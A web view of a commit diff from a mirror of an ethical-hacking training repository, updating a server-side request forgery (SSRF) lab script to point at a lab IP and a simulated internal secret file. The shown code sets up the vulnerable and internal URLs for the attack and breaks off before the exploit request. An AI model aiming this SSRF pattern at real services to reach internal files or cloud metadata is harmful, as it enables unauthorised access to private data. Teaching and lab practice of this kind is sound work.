Mirrors/h4cker
2
0
Fork 0
mirror of https://github.com/The-Art-of-Hacking/h4cker synced 2024-11-23 19:33:02 +00:00
Code Issues Projects Releases Packages Wiki Activity

Merge pull request #164 from The-Art-of-Hacking/santosomar-patch-7

Browse source 
Update ssrf_galatic_archives.py
This commit is contained in:
Omar Santos 2023-07-03 23:11:43 -04:00 committed by GitHub
commit 8ef5602af9
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 3 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
web_application_testing/ssrf_galatic_archives.py
View file

@ -6,11 +6,10 @@ Author: Omar Santos @santosomar
import requests import requests
# The URL of the vulnerable web service. # The URL of the vulnerable web service.
vulnerable_url = 'http://127.0.0.1:5000' vulnerable_url = 'http://10.6.6.20:5000'
# The internal URL that the attacker wants to access. # The internal URL that the attacker wants to access.
# AWS EC2 instances use this URL to provide instance metadata. # This is to simulate that this data (secret.txt) should be inaccessible from attacker's network.
# This data should be inaccessible from outside the EC2 instance.
internal_url = 'https://internal.secretcorp.org/secret.txt' internal_url = 'https://internal.secretcorp.org/secret.txt'
# The attacker constructs the exploit URL by appending the internal URL # The attacker constructs the exploit URL by appending the internal URL